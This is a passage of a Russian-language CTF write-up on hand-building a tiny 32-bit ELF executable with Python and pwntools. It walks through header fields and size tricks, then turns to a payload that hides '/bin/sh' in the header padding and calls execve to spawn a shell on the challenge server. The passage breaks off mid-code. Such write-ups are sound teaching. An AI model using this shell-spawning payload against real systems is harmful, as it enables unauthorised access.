\u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u0442\u0441\u044f<\/p>\n<\/li>\n<\/ul>\n<p>\u0421\u0438\u043b\u044c\u043d\u043e \u043d\u0438\u0436\u0435, \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 Intel identification, \u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u0447\u0442\u043e \u0434\u043b\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c little-endian \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0430 \u0432 \u043f\u043e\u043b\u0435 <code>e_machine<\/code> \u0434\u043e\u043b\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 3.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0432\u0441\u0451 \u0433\u043e\u0442\u043e\u0432\u043e \u043a \u0442\u043e\u043c\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u043e\u0431\u0440\u0430\u0442\u044c \u043f\u0435\u0440\u0432\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0444\u0430\u0439\u043b\u0430:<\/p>\n<pre><code class=\"python\">elf_header = bytes([     *b'\\x7fELF', 1, 1, 1, *([0] * 9), # e_ident     *2 .to_bytes(2, 'little'), # e_type     *3 .to_bytes(2, 'little'), # e_machine     *1 .to_bytes(4, 'little'), # e_version     *0 .to_bytes(4, 'little'), # e_entry TODO     *52 .to_bytes(4, 'little'), # e_phoff     *0 .to_bytes(4, 'little'), # e_shoff     *0 .to_bytes(4, 'little'), # e_flags     *52 .to_bytes(2, 'little'), # e_ehsize     *32 .to_bytes(2, 'little'), # e_phentsize     *1 .to_bytes(2, 'little'), # e_phnum     *0 .to_bytes(2, 'little'), # e_shentsize     *0 .to_bytes(2, 'little'), # e_shnum     *0 .to_bytes(2, 'little'), # e_shstrndx ])<\/code><\/pre>\n<p>\u0417\u0434\u0435\u0441\u044c \u043f\u043e\u043a\u0430 \u043f\u0440\u043e\u043f\u0443\u0449\u0435\u043d\u043e \u043f\u043e\u043b\u0435 <code>e_entry<\/code>, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043a\u0430 \u043d\u0435 \u0437\u043d\u0430\u0435\u043c, \u043a\u0430\u043a \u0435\u0433\u043e \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u0442\u044c. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043f\u043e\u0440\u0430 \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u0442\u044c \u043a \u0432\u0442\u043e\u0440\u043e\u043c\u0443 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 \u2014 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0443 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u0415\u0433\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0442\u0430\u043a:<\/p>\n<pre><code class=\"cpp\">typedef struct {     Elf32_Word p_type;     Elf32_Off  p_offset;     Elf32_Addr p_vaddr;     Elf32_Addr p_paddr;     Elf32_Word p_filesz;     Elf32_Word p_memsz;     Elf32_Word p_flags;     Elf32_Word p_align; } Elf32_Phdr;<\/code><\/pre>\n<p>\u041e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u043f\u043e\u043b\u0435\u0439:<\/p>\n<ul>\n<li>\n<p><code>p_type<\/code> \u2014 \u0442\u0438\u043f \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430, \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 1 \u00ab\u0417\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c\u044b\u0439\u00bb<\/p>\n<\/li>\n<li>\n<p><code>p_offset<\/code> \u2014 \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u043e\u0442 \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b\u0430 \u0434\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0433\u043e \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430<\/p>\n<\/li>\n<li>\n<p><code>p_vaddr<\/code> \u2014 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430<\/p>\n<\/li>\n<li>\n<p><code>p_paddr<\/code> \u2014 \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0430\u0434\u0440\u0435\u0441 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0434\u043b\u044f \u041e\u0421, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u0430\u0434\u0440\u0435\u0441\u0430\u0446\u0438\u044e<\/p>\n<\/li>\n<li>\n<p><code>p_filesz<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0432 \u0444\u0430\u0439\u043b\u0435<\/p>\n<\/li>\n<li>\n<p><code>p_memsz<\/code> \u2014 \u0440\u0430\u0437\u043c\u0435\u0440 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043c\u0435\u043d\u044c\u0448\u0435 <code>p_filesz<\/code>, \u0435\u0441\u043b\u0438 \u0431\u043e\u043b\u044c\u0448\u0435 \u2014 \u0445\u0432\u043e\u0441\u0442 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430 \u0437\u0430\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u043d\u0443\u043b\u044f\u043c\u0438<\/p>\n<\/li>\n<li>\n<p><code>p_flags<\/code> \u2014 \u0444\u043b\u0430\u0433\u0438 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430, \u0432 \u043d\u0430\u0448\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u044d\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 5, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0431\u0438\u0442 1 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 4 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435<\/p>\n<\/li>\n<li>\n<p><code>p_align<\/code> \u2014 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u043e\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0430, \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e \u043e\u043d\u043e \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0441\u043e\u0432\u0441\u0435\u043c \u043b\u044e\u0431\u044b\u043c, \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b Linux \u043f\u043e\u0434\u043e\u0448\u043b\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>0x1000<\/code>, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u044e \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043f\u0430\u043c\u044f\u0442\u0438<\/p>\n<\/li>\n<\/ul>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b:<\/p>\n<pre><code class=\"python\">program_header = bytes([     *1 .to_bytes(4, 'little'), # p_type     *0 .to_bytes(4, 'little'), # p_offset TODO     *0 .to_bytes(4, 'little'), # p_vaddr TODO     *0 .to_bytes(4, 'little'), # p_paddr TODO     *0 .to_bytes(4, 'little'), # p_filesz TODO     *0 .to_bytes(4, 'little'), # p_memsz TODO     *5 .to_bytes(4, 'little'), # p_flags     *0x1000 .to_bytes(4, 'little'), # p_align ])<\/code><\/pre>\n<p>\u0412 \u044d\u0442\u043e\u043c \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0435 \u0443\u0436\u0435 \u0441\u043e\u0432\u0441\u0435\u043c \u043c\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043e \u043d\u0430 \u0431\u0443\u0434\u0443\u0449\u0435\u0435, \u0430 \u0437\u043d\u0430\u0447\u0438\u0442 \u043d\u0430\u0434\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u043a\u043e\u0434 \u0441\u0430\u043c\u043e\u0439 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u0414\u043b\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0442\u044b \u043d\u0430\u043f\u0438\u0448\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e \u0443\u0441\u043f\u0435\u0448\u043d\u044b\u0439 \u0432\u044b\u0445\u043e\u0434:<\/p>\n<pre><code class=\"assembly\">mov eax, 1 ; \u043d\u043e\u043c\u0435\u0440 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u0432\u044b\u0437\u043e\u0432\u0430 sys_exit xor ebx, ebx ; \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u043c\u044b\u0439 status-code int 0x80 ; \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0435 \u043f\u0440\u0435\u0440\u044b\u0432\u0430\u043d\u0438\u0435 syscall \u0432 Linux<\/code><\/pre>\n<p>\u0414\u043b\u044f \u0441\u0431\u043e\u0440\u043a\u0438 \u0444\u0430\u0439\u043b\u0430 \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e <a href=\"https:\/\/docs.pwntools.com\/en\/stable\/\" rel=\"noopener noreferrer nofollow\">pwntools<\/a>, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u0433\u043b\u044f\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c:<\/p>\n<pre><code class=\"python\">from pwn import *    MEMORY_START = 0x1000  code = asm(f''' mov eax, 1 xor ebx, ebx int 0x80 ''', arch = 'x86', os = 'linux')  elf_header = bytes([     *b'\\x7fELF', 1, 1, 1, *([0] * 9), # e_ident     *2 .to_bytes(2, 'little'), # e_type     *3 .to_bytes(2, 'little'), # e_machine     *1 .to_bytes(4, 'little'), # e_version     *(MEMORY_START + 84).to_bytes(4, 'little'), # e_entry     *52 .to_bytes(4, 'little'), # e_phoff     *0 .to_bytes(4, 'little'), # e_shoff     *0 .to_bytes(4, 'little'), # e_flags     *52 .to_bytes(2, 'little'), # e_ehsize     *32 .to_bytes(2, 'little'), # e_phentsize     *1 .to_bytes(2, 'little'), # e_phnum     *0 .to_bytes(2, 'little'), # e_shentsize     *0 .to_bytes(2, 'little'), # e_shnum     *0 .to_bytes(2, 'little'), # e_shstrndx ])  program_header = bytes([     *1 .to_bytes(4, 'little'), # p_type     *0 .to_bytes(4, 'little'), # p_offset     *MEMORY_START.to_bytes(4, 'little'), # p_vaddr     *MEMORY_START.to_bytes(4, 'little'), # p_paddr     *(84 + len(code)).to_bytes(4, 'little'), # p_filesz     *(84 + len(code)).to_bytes(4, 'little'), # p_memsz     *5 .to_bytes(4, 'little'), # p_flags     *0x1000 .to_bytes(4, 'little'), # p_align ])  print(len(elf_header), elf_header) print(len(program_header), program_header) print(len(code), code)  with open('.\/result', 'wb') as f:     f.write(elf_header)     f.write(program_header)     f.write(code)<\/code><\/pre>\n<p>\u0417\u0430 \u043a\u0430\u0434\u0440\u043e\u043c \u043e\u0441\u0442\u0430\u043b\u0441\u044f \u0432\u044b\u0431\u043e\u0440 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 <code>p_vaddr<\/code> \u0438 <code>p_paddr<\/code>. \u041d\u0430 \u043c\u043e\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 <code>0x1000<\/code>, \u043d\u043e \u0443\u0436\u0435 \u043a\u043e\u0433\u0434\u0430 \u0432\u0441\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0431\u044b\u043b\u0430 \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0438 \u043f\u0440\u0438\u0448\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0440\u0435\u0448\u0435\u043d\u0438\u0435 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c. \u041e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c, \u0447\u0442\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0432 Ubuntu Linux, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 <code>vm.mmap_min_addr<\/code> \u0440\u0430\u0432\u043d\u043e\u0435 <code>0x10000<\/code>. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u0432\u043e\u043e\u0431\u0449\u0435, \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <code>0x8048100<\/code>, \u043e \u0447\u0451\u043c \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0435 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0435 \u00abOperating System Specific (UNIX System V Release 4)\u00bb.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0443 \u043e\u0442\u043a\u0443\u0434\u0430 \u043f\u043e\u043f\u0430\u043b\u043e, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043d\u0435\u043b\u044c\u0437\u044f \u0432\u0437\u044f\u0442\u044c \u0431\u0430\u0439\u0442\u044b \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043e\u043d\u0438 \u043d\u0435 \u0432\u044b\u0440\u0430\u0432\u043d\u0435\u043d\u044b \u043f\u043e <code>0x1000<\/code>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043a\u0430\u0437\u0430\u043d \u0432 <code>p_align<\/code>. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u043c \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0444\u0430\u0439\u043b\u0430, \u0430 \u043f\u043e\u0442\u043e\u043c \u043f\u0440\u043e\u0441\u0438\u043c \u043d\u0430\u0447\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0443\u0436\u0435 \u0441\u043e \u0441\u0442\u0430\u0440\u0442\u0430.<\/p>\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c, \u0447\u0442\u043e \u0432\u0441\u0451 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442:<\/p>\n<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/8c8\/5a3\/94b\/8c85a394b0da43bb785da455a633f3d8.png\" alt=\"\u0417\u0430\u043f\u0443\u0441\u043a \u043f\u0435\u0440\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0444\u0430\u0439\u043b\u0430\" title=\"\u0417\u0430\u043f\u0443\u0441\u043a \u043f\u0435\u0440\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0444\u0430\u0439\u043b\u0430\" width=\"674\" height=\"187\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/8c8\/5a3\/94b\/8c85a394b0da43bb785da455a633f3d8.png\"\/><\/p>\n<div><figcaption>\u0417\u0430\u043f\u0443\u0441\u043a \u043f\u0435\u0440\u0432\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0444\u0430\u0439\u043b\u0430<\/figcaption><\/div>\n<\/figure>\n<p>\u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u043c\u044b\u0435 79 \u0431\u0430\u0439\u0442, \u043d\u043e \u043e\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041d\u043e 93 \u0431\u0430\u0439\u0442\u0430 \u0442\u043e\u0436\u0435 \u043d\u0435\u043f\u043b\u043e\u0445\u043e, \u0445\u043e\u0442\u044c \u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u0435\u0442.<\/p>\n<h2>\u0421\u0436\u0438\u043c\u0430\u0435\u043c \u0444\u0430\u0439\u043b<\/h2>\n<p>\u0414\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u0442\u044c \u0440\u0430\u0437\u043c\u0435\u0440 \u0444\u0430\u0439\u043b\u0430, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u0432 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0438\u0440\u0438\u0447\u043d\u043e\u043c \u043a\u043e\u0434\u0435:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/572\/f6e\/7bb\/572f6e7bb2c657427889a21087e41c58.png\" alt=\"\u0412\u0438\u0434 \u0444\u0430\u0439\u043b\u0430 \u0441\u0431\u043e\u043a\u0443\" title=\"\u0412\u0438\u0434 \u0444\u0430\u0439\u043b\u0430 \u0441\u0431\u043e\u043a\u0443\" width=\"674\" height=\"113\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/572\/f6e\/7bb\/572f6e7bb2c657427889a21087e41c58.png\"\/><\/p>\n<div><figcaption>\u0412\u0438\u0434 \u0444\u0430\u0439\u043b\u0430 \u0441\u0431\u043e\u043a\u0443<\/figcaption><\/div>\n<\/figure>\n<p>\u041a\u0440\u0430\u0441\u043d\u044b\u043c \u043e\u0442\u043c\u0435\u0447\u0435\u043d \u043d\u0430\u0448 ELF-\u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a, \u0437\u0435\u043b\u0451\u043d\u044b\u043c \u2014 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b, \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u2014 \u043a\u043e\u0434.<\/p>\n<p>\u0417\u0434\u0435\u0441\u044c \u0441\u0440\u0430\u0437\u0443 \u0431\u0440\u043e\u0441\u0430\u0435\u0442\u0441\u044f \u0432 \u0433\u043b\u0430\u0437\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0445 8 \u0431\u0430\u0439\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 ELF \u0438 \u043f\u0435\u0440\u0432\u044b\u0445 8 \u0431\u0430\u0439\u0442 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b. \u041f\u0440\u0438\u0447\u0451\u043c \u044d\u0442\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u043f\u043e\u0447\u0442\u0438 \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u0432\u043b\u0438\u044f\u0435\u0442 \u043d\u0430 \u043d\u0430\u0441, \u043a\u0430\u043a \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0441\u0442\u043e\u0432, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0442\u0430\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0434\u0430\u043d\u043d\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043d\u0435 \u043c\u043e\u0433\u043b\u0438 \u043d\u0438\u0447\u0435\u043c \u0437\u0430\u043c\u0435\u043d\u0438\u0442\u044c \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0442\u044b.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0434\u0443\u043c\u0430\u0435\u043c \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0431\u044b \u043c\u044b \u0445\u043e\u0442\u0435\u043b\u0438 \u0432\u043e\u043e\u0431\u0449\u0435 \u0441\u0434\u0435\u043b\u0430\u0442\u044c. \u042f\u0441\u043d\u043e, \u0447\u0442\u043e \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0443 \u043d\u0430\u0441 \u0438 \u0442\u0430\u043a \u043d\u0435\u043c\u043d\u043e\u0433\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0447\u0438\u0442\u0430\u0442\u044c \u0444\u0430\u0439\u043b \u0444\u043b\u0430\u0433\u0430 (\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d \u0432 \u0442\u043e\u0439 \u0436\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0438 \u0438\u043c\u0435\u0435\u0442 \u0438\u043c\u044f <code>flag.txt<\/code>) \u0438 \u0432\u044b\u0432\u043e\u0434\u0438\u0442\u044c \u043d\u0430 \u044d\u043a\u0440\u0430\u043d \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u0441\u044f. \u041f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0442\u043e\u0433\u0434\u0430 \u043a\u043b\u0430\u0441\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043f\u0440\u0438\u0451\u043c \u0438 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043c <code>\/bin\/sh<\/code>.<\/p>\n<p>\u042d\u0442\u043e \u0434\u0435\u043b\u0430\u0435\u0442\u0441\u044f \u0432\u0441\u0435\u0433\u043e \u043e\u0434\u043d\u0438\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u043c \u0432\u044b\u0437\u043e\u0432\u043e\u043c, \u043d\u043e \u0432\u0441\u0451 \u0435\u0449\u0451 \u043d\u0430\u0434\u043e \u0433\u0434\u0435-\u0442\u043e \u0445\u0440\u0430\u043d\u0438\u0442\u044c \u0441\u0442\u0440\u043e\u043a\u0443 \u0441 \u043f\u0443\u0442\u0451\u043c \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430. \u0417\u0434\u0435\u0441\u044c \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 9 \u0431\u0430\u0439\u0442 \u0432\u044b\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043d\u0438\u044f \u0432 \u043a\u043e\u043d\u0446\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430! \u0422\u0430\u043a\u0436\u0435 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0434\u0430\u0442\u044c \u043c\u0430\u0441\u0441\u0438\u0432\u044b <code>argv<\/code> \u0438 <code>envp<\/code> \u0434\u043b\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u044b, \u043d\u043e \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u0440\u043e\u0438\u0433\u043d\u043e\u0440\u0438\u0440\u0443\u0435\u043c \u044d\u0442\u043e \u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c \u043d\u0443\u043b\u0435\u0432\u044b\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u044d\u0442\u043e \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u043e, \u0438 \u0431\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u0437\u0430\u0431\u043e\u0442\u043b\u0438\u0432\u043e \u0437\u0430\u043f\u043e\u043b\u043d\u0438\u043b\u0430 \u043d\u0430\u043c \u0432\u0441\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b \u043d\u0443\u043b\u044f\u043c\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430\u043c \u0432\u043e\u043e\u0431\u0449\u0435 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0434\u0435\u043b\u0430\u0442\u044c. \u0422\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c, \u0441 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u043c\u0438 \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u044f\u043c\u0438, \u043a\u043e\u0434 \u0442\u0435\u043f\u0435\u0440\u044c \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0442\u0430\u043a:<\/p>\n<pre><code class=\"python\">from pwn import *   MEMORY_START = 0x08048000 HEADER_LENGTH = 76  code = asm(f''' mov eax, 11 mov ebx, {MEMORY_START + 8} int 0x80 ''', arch = 'x86', os = 'linux')  header = bytes([     *b'\\x7fELF', 1, 1, 1, 0, *b'\/bin\/sh', 0, # e_ident     2, 0, 3, 0, 1, 0, 0, 0, # e_type, e_machine, e_version     *(MEMORY_START + HEADER_LENGTH).to_bytes(4, 'little'), # e_entry     44, 0, 0, 0, # e_phoff     *([0] * 10), # e_shoff, e_flags, e_ehsize     32, 0, 1, 0, 0, 0, 0, 0, 0, 0, # e_phentsize, e_phnum, e_shentsize, e_shnum, e_shstrndx                                    # p_type, p_offset     *MEMORY_START.to_bytes(4, 'little'), # p_vaddr     *MEMORY_START.to_bytes(4, 